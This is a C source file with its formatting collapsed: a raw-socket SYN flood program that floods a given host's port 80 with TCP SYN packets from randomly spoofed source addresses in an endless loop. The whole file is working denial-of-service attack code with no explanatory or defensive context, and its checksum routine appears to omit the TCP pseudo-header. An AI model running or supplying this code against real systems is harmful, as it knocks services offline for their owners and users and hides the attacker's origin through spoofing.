#include <sys/socket.h>   

#include <netinet/in.h>     #include <netinet/ip.h>    #include <netinet/tcp.h>    #include <stdlib.h>    #include <errno.h>    #include <unistd.h>    #include <stdio.h>    #include <netdb.h>    #define DESTPORT 80     #define LOCALPORT 8888    void send_tcp(int sockfd,struct sockaddr_in *addr);   unsigned short check_sum(unsigned short *addr,int len);   int main(int argc,char **argv)   {   int sockfd;   struct sockaddr_in addr;   struct hostent *host;   int on=1;   if(argc!=2)   {   fprintf(stderr,"Usage:%s hostname\n\a",argv[0]);   exit(1);   }   bzero(&addr,sizeof(struct sockaddr_in));   addr.sin_family=AF_INET;   addr.sin_port=htons(DESTPORT);   if(inet_aton(argv[1],&addr.sin_addr)==0)   {   host=gethostbyname(argv[1]);   if(host==NULL)   {   fprintf(stderr,"HostName Error:%s\n\a",hstrerror(h_errno));   exit(1);   }   addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);   }   sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);   if(sockfd<0)   {   fprintf(stderr,"Socket Error:%s\n\a",strerror(errno));   exit(1);   }   setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));   setuid(getpid());   send_tcp(sockfd,&addr);   }   void send_tcp(int sockfd,struct sockaddr_in *addr)   {   char buffer[100];   struct ip *ip;   struct tcphdr *tcp;   int head_len;   head_len=sizeof(struct ip)+sizeof(struct tcphdr);   bzero(buffer,100);   ip=(struct ip *)buffer;   ip->ip_v=IPVERSION;   ip->ip_hl=sizeof(struct ip)>>2;   ip->ip_tos=0;   ip->ip_len=htons(head_len);   ip->ip_id=0;   ip->ip_off=0;    ip->ip_ttl=MAXTTL;    ip->ip_p=IPPROTO_TCP;    ip->ip_sum=0;   ip->ip_dst=addr->sin_addr;   tcp=(struct tcphdr *)(buffer +sizeof(struct ip));   tcp->source=htons(LOCALPORT);   tcp->dest=addr->sin_port;    tcp->seq=random();   tcp->ack_seq=0;   tcp->doff=5;   tcp->syn=1;   tcp->check=0;   while(1)   {   ip->ip_src.s_addr=random();   tcp->check=check_sum((unsigned short *)tcp,   sizeof(struct tcphdr));   sendto(sockfd,buffer,head_len,0,(struct sockaddr *)addr,sizeof(struct sockaddr_in));   }   }   unsigned short check_sum(unsigned short *addr,int len)   {   register int nleft=len;   register int sum=0;   register short *w=addr;   short answer=0;   while(nleft>1)   {   sum+=*w++;   nleft-=2;   }   if(nleft==1)   {   *(unsigned char *)(&answer)=*(unsigned char *)w;   sum+=answer;   }   sum=(sum>>16)+(sum&0xffff);   sum+=(sum>>16);   answer=~sum;   return(answer);   }